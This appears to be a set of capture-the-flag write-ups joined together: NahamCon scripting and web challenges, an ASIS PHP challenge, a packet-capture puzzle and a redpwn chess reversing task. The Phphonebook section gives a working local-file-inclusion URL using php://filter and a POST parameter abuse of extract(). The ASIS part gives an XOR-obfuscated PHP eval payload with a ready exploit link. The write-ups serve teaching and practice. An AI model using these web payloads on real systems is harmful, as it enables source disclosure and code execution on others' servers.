range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)} # The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]]) plaintext = ''.join(plaintext) if 'nope' in plaintext: break print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters)) response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break print(response) s.send(response.upper()) index += 1 print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag: ![](assets//images//dina_2.png) actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial. ## RottenIck, this salad doesn't taste too good! Connect with:\`nc jh2i.com 50034` **flag{now_you_know_your_caesars}** **Solution:** server response is ceaser cipher encrypted, code: ```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()``` ## Really powerful GnomesOnly YOU can save the village! Connect with:`nc jh2i.com 50031` **flag{it_was_in_fact_you_that_was_really_powerful}** **Solution:** Automate going on adventure and buying weapons: ```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()``` *** # Web ## Agent 95They've given you a number, and taken away your name~ Connect here:\http://jh2i.com:50000 **flag{user_agents_undercover}** **Solution:** Change User agent to Windows 95 ## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore?? Connect here:\http://jh2i.com:50003 **JCTF{spoooooky_ghosts_in_storage}** **Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes ## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency! Connect here:\http://jh2i.com:50002 **flag{phon3_numb3r_3xtr4ct3d}** **Solution:** With the challenge we are given a website with the following index page: ![](assets//images//phphonebook_1.png) so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page: `http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php` and by going to this url we get the file base64 encoded: ![](assets//images//phphonebook_2.png) ```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php The phonebook is located at phphonebook.php <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>``` we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1> <div id="im_container"> This phphonebook was made to look up all sorts of numbers! Have fun... This phphonebook was made to look up all sorts of numbers! Have fun... </div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div> <div id="php_container"> </div> <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page: ![](assets//images//phphonebook_3.png) burp suite catches the request and allows us to edit it: ![](assets//images//phphonebook_4.png) we now only need to add an emergency variable and we get the flag: ![](assets//images//phphonebook_5.png) ![](assets//images//phphonebook_6.png) with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag: ![](assets//images//phphonebook_7.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
**Payload: ``` $_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php```** **Explaining:** - ```$_="`{{{"^"?<>/";``` | Result of xor operation: ```$_ = "_GET"``` - ```${$_}[_](${$_}[__]);``` | Function call: ```$_GET[_]($_GET[__])``` - Setting the parameters, eval function will run: ```eval(highlight_file('flag.php'))``` **Flag:** ASIS{w4rm_up_y0ur_br4in} **[GET THE FLAG](http://69.90.132.196:5003/?warmup=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php)**
Open the file in Wireshark. All you can see is a bunch of SSH connections to and from localhost, nothing strange going on there. There are a total of 248 TCP connections, which would fit 8 bit per ASCII character. In the "Conversations" tab in Wireshark you can see all TCP connections. Some connections have around ~16 packets from A->B and some have ~44. ![TCP](https://i.imgur.com/YLh2jMy.png) So after exporting those as a CSV and treating the lower number as "0" and the higher one as "1" we get the following string: ```01000001010100110100100101010011011110110110110000110011011101000011010101011111011001110011001101110100010111110101001101100011011010000111011001110110001100010110011000110111011110010101111100110100011001110110000100110001010011100010000101111101 ASIS{l3t5_g3t_Schvv1f7y_4ga1N!}```
# redpwn-chezzzboardThis challenge involves a chess board where you can play against yourself.\Popping the executable into IDA and xref'ing the flag.txt brings us here (my idb is already labeled, sorry)\![cida1](/img/cida1.png)\\It is clear that the objective of the game is to obtain a specific checksum on the board\\Entering the subroutine shows a double for loop and a switch, with some subroutines identifying the piece type and calculating various scores for each piece\![cida2](/img/cida2.png)\\In that image I already have the enum labeled, but during the challenge I had to search for the draw function and label based on the piece strings\![cida3](/img/cida3.png)\\With this information, we are able to calculate an array of winning boards using this python script```pythonfor e in range(10,25): for a in range(1,9): for b in range(9, 17): for c in range(1, 9): for d in range(9, 17): if ((a * b + c * d + (256 - e)) == 467): print(a, b, c, d, e)```\From there, its just about choosing an arbitrary valid board and writing a script to move the pieces to their spots (or you can do it by hand if you like)```pythonfrom pwn import * conn = remote('2020.redpwnc.tf', 31611) def CMove(col, _f, _t): print('cmd_mov(' + col + ', ' + _f + ', ' + _t + ');') print(conn.recvuntil(col + ': Move from').decode()) conn.send(_f + '\n') print(conn.recvuntil('To').decode()) conn.send(_t + '\n') return _t def Prep(): iswhite = True _from = ['2E', '7E', '3E', '6E', '2D', '7D', '3D', '6D', '4D', '5D', '1D', '8D', '4D', '5D'] _to = ['3E', '6E', '4E', '5E', '3D', '6D', '4D', '5D', '5E', '4E', '4D', '5D', '4E', '5E'] i = 0 while i < len(_to): col = 'Black' if iswhite: col = 'White' CMove(col, _from[i], _to[i]) print(col + ': ' + _from[i] + ' => ' + _to[i]) iswhite = not iswhite i += 1 #8 16 8 12 13def Slay(): blackpos = '5E' whitepos = '4E' iswhite = True _wto = ['7H', '7G', '7F', '7C', '7B', '7A', '8B', '8C', '8E', '8F', '8G', '8H', '3H', '4H', '5H', '8H'] _bto = ['2H', '2G', '2F', '2C', '2B', '2A', '1A', '1B', '1C', '1E', '1F', '1G', '1H', '1D', '8D'] i = 0 while i < len(_wto): if iswhite: whitepos = CMove('White', whitepos, _wto[i]) else: blackpos = CMove('Black', blackpos, _bto[i]) iswhite = not iswhite if iswhite or len(_bto) <= i: i += 1 def Finish(): CMove('Black', '8A', '4A') return Prep()Slay()Finish() conn.interactive()```